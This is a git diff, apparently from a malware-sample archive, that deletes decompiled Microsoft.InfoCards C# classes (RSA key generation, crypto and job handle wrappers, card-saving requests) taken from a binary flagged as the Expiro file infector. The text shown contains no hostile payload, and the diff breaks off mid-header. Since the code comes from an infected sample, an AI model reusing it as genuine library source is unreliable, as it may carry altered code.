index 4e423849..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcRundownClientContextHandle.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcRundownClientContextHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcRundownClientContextHandle([In] IntPtr context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs deleted file mode 100644 index 0ffc2940..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcUIAgentBindToServiceCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcUIAgentBindToServiceCallback( - [In] IntPtr uiagentRpcHandle, - [In] IntPtr nativeDesktopName, - [In] int cbUserSid, - [In] IntPtr pUserSid, - [In] int cbTrustedSid, - [In] IntPtr pTrustedSid, - out IntPtr nativeStartEventHandle, - out IntPtr nativeCompleteEventHandle, - out RpcUIAgentGetWorkCallback callback); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs deleted file mode 100644 index 8e4e5da9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcUIAgentGetWorkCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal delegate void RpcUIAgentGetWorkCallback( - out InfoCardUIAgent.CallMode mode, - out int requestHandle); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RsaKeyGen.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RsaKeyGen.cs deleted file mode 100644 index 7f080e43..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RsaKeyGen.cs +++ /dev/null @@ -1,218 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RsaKeyGen -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class RsaKeyGen - { - private const int Xpq12Length = 14; - private const int XpqLength = 128; - private const int NumberOfSha1Hashes = 16; - private const int InfoCardKeyLength = 2048; - private const int HnLength = 20; - private const int PublicExponentValue = 65537; - private const string Aes128EncryptionKey = "f561e58b-3ebc-4e0c-940d-0a6ddc219dfd"; - private const int ByteForHundredthBit = 12; - private static int[] hashesToWriteP = new int[8] - { - 2, - 12, - 11, - 10, - 0, - 6, - 5, - 4 - }; - private static int[] numBytesToWriteP = new int[8] - { - 4, - 20, - 20, - 20, - 4, - 20, - 20, - 20 - }; - private static int[] srcIndexBytesToWriteP = new int[8] - { - 16, - 0, - 0, - 0, - 16, - 0, - 0, - 0 - }; - private static int[] hashesToWriteQ = new int[8] - { - 3, - 15, - 14, - 13, - 1, - 9, - 8, - 7 - }; - private static int[] numBytesToWriteQ = RsaKeyGen.numBytesToWriteP; - private static int[] srcIndexBytesToWriteQ = RsaKeyGen.srcIndexBytesToWriteP; - private static RijndaelManaged s_rjAes128 = new RijndaelManaged(); - - static RsaKeyGen() - { - RsaKeyGen.s_rjAes128.Mode = CipherMode.ECB; - RsaKeyGen.s_rjAes128.Padding = PaddingMode.Zeros; - RsaKeyGen.s_rjAes128.Key = new Guid("f561e58b-3ebc-4e0c-940d-0a6ddc219dfd").ToByteArray(); - } - - public static byte[] CreateRsaKeyPairX931(byte[] masterKey, byte[] targetId) - { - InfoCardTrace.Assert(true, "Only 2048 bit key sizes supported"); - byte[][] hn = RsaKeyGen.CalculateHn(masterKey, targetId); - byte[] rsaKeyPairX931 = (byte[]) null; - byte[] numArray1 = new byte[14]; - byte[] numArray2 = new byte[14]; - byte[] numArray3 = new byte[14]; - byte[] numArray4 = new byte[14]; - byte[] numArray5 = new byte[128]; - byte[] numArray6 = new byte[128]; - Array.Copy((Array) hn[0], 0, (Array) numArray1, 0, numArray1.Length); - Array.Copy((Array) hn[1], 0, (Array) numArray2, 0, numArray2.Length); - Array.Copy((Array) hn[2], 0, (Array) numArray3, 0, numArray3.Length); - Array.Copy((Array) hn[3], 0, (Array) numArray4, 0, numArray4.Length); - RsaKeyGen.WriteToArray(RsaKeyGen.hashesToWriteP, RsaKeyGen.numBytesToWriteP, RsaKeyGen.srcIndexBytesToWriteP, hn, numArray5); - RsaKeyGen.WriteToArray(RsaKeyGen.hashesToWriteQ, RsaKeyGen.numBytesToWriteQ, RsaKeyGen.srcIndexBytesToWriteQ, hn, numArray6); - try - { - KeyGenRestartCodes restartCode = KeyGenRestartCodes.X931RestartNone; - do - { - numArray5[(int) sbyte.MaxValue] |= (byte) 192; - numArray6[(int) sbyte.MaxValue] |= (byte) 192; - numArray1[12] |= (byte) 16; - numArray2[12] |= (byte) 16; - numArray3[12] |= (byte) 16; - numArray4[12] |= (byte) 16; - rsaKeyPairX931 = NativeMcppMethods.X931KeyGenWrapper(numArray1, numArray2, numArray3, numArray4, numArray5, numArray6, 65537, ref restartCode); - switch (restartCode) - { - case KeyGenRestartCodes.X931RestartNone: - InfoCardTrace.Assert(null != rsaKeyPairX931, "Cryptoblob should not be null since API succeeded"); - break; - case KeyGenRestartCodes.X931RestartDTooSmall: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - InfoCardTrace.Assert(false, "Not expected for d < 2^1024 with e = 65537"); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - case KeyGenRestartCodes.X931RestartNonTrivialGcd: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray1); - RsaKeyGen.InfoCardRegenerateParam(numArray2); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - break; - case KeyGenRestartCodes.X931RestartPQOverflow: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray5); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - case KeyGenRestartCodes.X931RestartPQ12OverFlow: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray1); - RsaKeyGen.InfoCardRegenerateParam(numArray2); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - break; - case KeyGenRestartCodes.X931RestartXpXqClose: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - } - } - while (restartCode != KeyGenRestartCodes.X931RestartNone); - InfoCardTrace.Assert(null != rsaKeyPairX931, "Cryptoblob should NOT be null outside while loop"); - } - finally - { - Array.Clear((Array) numArray1, 0, numArray1.Length); - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray4, 0, numArray4.Length); - Array.Clear((Array) numArray5, 0, numArray5.Length); - Array.Clear((Array) numArray6, 0, numArray6.Length); - } - return rsaKeyPairX931; - } - - private static void WriteToArray( - int[] hashesToWrite, - int[] numBytesToWrite, - int[] srcIndexBytesToWrite, - byte[][] sourceArrayOfHashes, - byte[] destArray) - { - InfoCardTrace.Assert(hashesToWrite.Length == numBytesToWrite.Length, "Size must be equal"); - InfoCardTrace.Assert(numBytesToWrite.Length == srcIndexBytesToWrite.Length, "Size must be equal"); - int destinationIndex = 0; - for (int index1 = 0; index1 < hashesToWrite.Length; ++index1) - { - int index2 = hashesToWrite[index1]; - Array.Copy((Array) sourceArrayOfHashes[index2], srcIndexBytesToWrite[index1], (Array) destArray, destinationIndex, numBytesToWrite[index1]); - destinationIndex += numBytesToWrite[index1]; - } - } - - private static byte[][] CalculateHn(byte[] masterKey, byte[] subjectEntropy) - { - byte[][] hn = new byte[16][]; - byte[] numArray = new byte[masterKey.Length + subjectEntropy.Length + 4]; - Array.Copy((Array) masterKey, 0, (Array) numArray, 0, masterKey.Length); - Array.Copy((Array) subjectEntropy, 0, (Array) numArray, masterKey.Length, subjectEntropy.Length); - for (uint index = 0; (long) index < (long) hn.Length; ++index) - { - InfoCardTrace.Assert(index <= (uint) byte.MaxValue, "n must fit in a byte."); - InfoCardTrace.Assert(numArray.Length - 1 == masterKey.Length + subjectEntropy.Length + 3, "Index location of n must be last element of array."); - numArray[numArray.Length - 1] = (byte) index; - hn[(IntPtr) index] = SHA1.Create().ComputeHash(numArray); - Array.Reverse((Array) hn[(IntPtr) index]); - } - Array.Clear((Array) numArray, 0, numArray.Length); - return hn; - } - - private static void InfoCardRegenerateParam(byte[] prevBytes) - { - byte[] sourceArray = RsaKeyGen.AESEncryptECB(prevBytes); - Array.Copy((Array) sourceArray, 0, (Array) prevBytes, 0, prevBytes.Length); - Array.Clear((Array) sourceArray, 0, sourceArray.Length); - } - - private static byte[] AESEncryptECB(byte[] plaintextbyte) - { - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, RsaKeyGen.s_rjAes128.CreateEncryptor(), CryptoStreamMode.Write); - cryptoStream.Write(plaintextbyte, 0, plaintextbyte.Length); - cryptoStream.Close(); - byte[] array = memoryStream.ToArray(); - memoryStream.Close(); - return array; - } - - private RsaKeyGen() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeCryptoKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeCryptoKey.cs deleted file mode 100644 index 935d7650..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeCryptoKey.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeCryptoKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SafeCryptoKey : IDisposable - { - private SafeCryptoKeyHandle m_handle; - - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptSetKeyParam( - [In] SafeCryptoKeyHandle hKey, - [In] uint dwParam, - [In] IntPtr data, - [In] uint flags); - - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptImportKey( - [In] SafeRsaProviderHandle hProv, - [In] IntPtr pbKeyData, - [In] uint dwDataLen, - [In] IntPtr hPubKey, - [In] uint dwFlags, - out SafeCryptoKeyHandle hKey); - - public SafeCryptoKeyHandle Handle => this.m_handle; - - public unsafe SafeCryptoKey(SafeRsaProviderHandle provider, byte[] encryptedKey, byte[] iv) - { - SafeCryptoKey.BlobHeader blobHeader = new SafeCryptoKey.BlobHeader(encryptedKey.Length); - int dwDataLen = sizeof (SafeCryptoKey.BlobHeader) + encryptedKey.Length; - // ISSUE: untyped stack allocation - byte* pbKeyData = (byte*) __untypedstackalloc(dwDataLen); - byte* numPtr = (byte*) &blobHeader; - for (int index = 0; index < 12; ++index) - pbKeyData[index] = numPtr[index]; - try - { - ProtectedMemory.Unprotect(encryptedKey, MemoryProtectionScope.SameProcess); - for (int index = 0; index < encryptedKey.Length; ++index) - pbKeyData[12 + index] = encryptedKey[index]; - } - finally - { - ProtectedMemory.Protect(encryptedKey, MemoryProtectionScope.SameProcess); - } - if (!SafeCryptoKey.CryptImportKey(provider, (IntPtr) (void*) pbKeyData, (uint) dwDataLen, IntPtr.Zero, 0U, out this.m_handle)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) this.m_handle); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - fixed (byte* data = &iv[0]) - { - if (!SafeCryptoKey.CryptSetKeyParam(this.m_handle, 1U, (IntPtr) (void*) data, 0U)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - this.m_handle.Dispose(); - throw InfoCardTrace.ThrowHelperError(e); - } - // ISSUE: __unpin statement - __unpin(data); - } - } - - void IDisposable.Dispose() => this.m_handle.Dispose(); - - [StructLayout(LayoutKind.Explicit, Size = 12)] - private struct BlobHeader - { - private const int PLAINTEXTKEYBLOB = 8; - private const int CUR_BLOB_VERSION = 2; - private const int CALG_AES = 26128; - [FieldOffset(0)] - public byte bType; - [FieldOffset(1)] - public byte bVersion; - [FieldOffset(2)] - public ushort reserved; - [FieldOffset(4)] - public uint aiKeyAlg; - [FieldOffset(8)] - public uint keyLength; - - public BlobHeader(int keySize) - { - this.bType = (byte) 8; - this.bVersion = (byte) 2; - this.reserved = (ushort) 0; - this.aiKeyAlg = 26128U; - this.keyLength = (uint) keySize; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeCryptoKeyHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeCryptoKeyHandle.cs deleted file mode 100644 index b6e4e148..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeCryptoKeyHandle.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeCryptoKeyHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal class SafeCryptoKeyHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptDestroyKey([In] IntPtr hKey); - - private SafeCryptoKeyHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - protected override bool ReleaseHandle() => SafeCryptoKeyHandle.CryptDestroyKey(this.handle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeJobHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeJobHandle.cs deleted file mode 100644 index fe30c1e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeJobHandle.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeJobHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal sealed class SafeJobHandle : SafeHandle - { - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool TerminateJobObject([In] IntPtr hJob, [In] uint uExitCode); - - public SafeJobHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - public void UpdateHandle(IntPtr handle) => this.SetHandle(handle); - - protected override bool ReleaseHandle() - { - SafeJobHandle.TerminateJobObject(this.handle, 0U); - return NativeMethods.SafeHandleOnlyMethods.CloseHandle(this.handle); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeNativeHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeNativeHandle.cs deleted file mode 100644 index a90260ea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeNativeHandle.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeNativeHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.Win32.SafeHandles; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class SafeNativeHandle : SafeHandleZeroOrMinusOneIsInvalid - { - private SafeNativeHandle() - : base(true) - { - } - - public SafeNativeHandle(IntPtr existingHandle, bool ownsHandle) - : base(ownsHandle) - { - this.SetHandle(existingHandle); - } - - protected override bool ReleaseHandle() => NativeMethods.SafeHandleOnlyMethods.CloseHandle(this.handle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeRsaProviderHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeRsaProviderHandle.cs deleted file mode 100644 index c0361675..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeRsaProviderHandle.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeRsaProviderHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal class SafeRsaProviderHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", EntryPoint = "CryptAcquireContextW", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptAcquireContext( - out SafeRsaProviderHandle hProv, - [In] string pszContainer, - [In] string pszProvider, - [In] uint dwProvType, - [In] uint dwFlags); - - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptReleaseContext([In] IntPtr hProv, [In] uint dwFlags); - - public static SafeRsaProviderHandle Construct() - { - SafeRsaProviderHandle hProv; - if (!SafeRsaProviderHandle.CryptAcquireContext(out hProv, (string) null, (string) null, 24U, 4026531840U)) - { - Win32Exception e = new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) hProv); - InfoCardTrace.TraceAndLogException((Exception) e); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(e.Message)); - } - return hProv; - } - - private SafeRsaProviderHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - protected override bool ReleaseHandle() => SafeRsaProviderHandle.CryptReleaseContext(this.handle, 0U); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveCardRequest.cs deleted file mode 100644 index deee340f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveCardRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveCardRequest : UIAgentRequest - { - private InfoCard m_card; - - public SaveCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - Stream inArgs = this.InArgs; - this.m_card = new InfoCard(inArgs); - this.m_card.GetExtendedInformation().Deserialize(inArgs); - this.m_card.GetRPIdentityRequirement().Deserialize(inArgs); - this.m_card.GetClaims().Deserialize(inArgs); - } - - protected override void OnProcess() - { - if (this.m_card == null) - return; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_card.LastUpdate = DateTime.UtcNow; - this.m_card.Save(connection); - connection.CommitTransaction(); - if (this.m_card.IsSelfIssued) - AuditLog.AuditCardWritten(); - else - AuditLog.AuditCardImport(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.GetPolicy(), connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveLedgerEntryRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveLedgerEntryRequest.cs deleted file mode 100644 index 1ffdc6f2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveLedgerEntryRequest.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveLedgerEntryRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveLedgerEntryRequest : UIAgentRequest - { - public SaveLedgerEntryRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() => ((GetTokenRequest) this.ParentRequest).SaveLedgerEntry(); - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveRecipientRequest.cs deleted file mode 100644 index 9dc4175e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveRecipientRequest.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 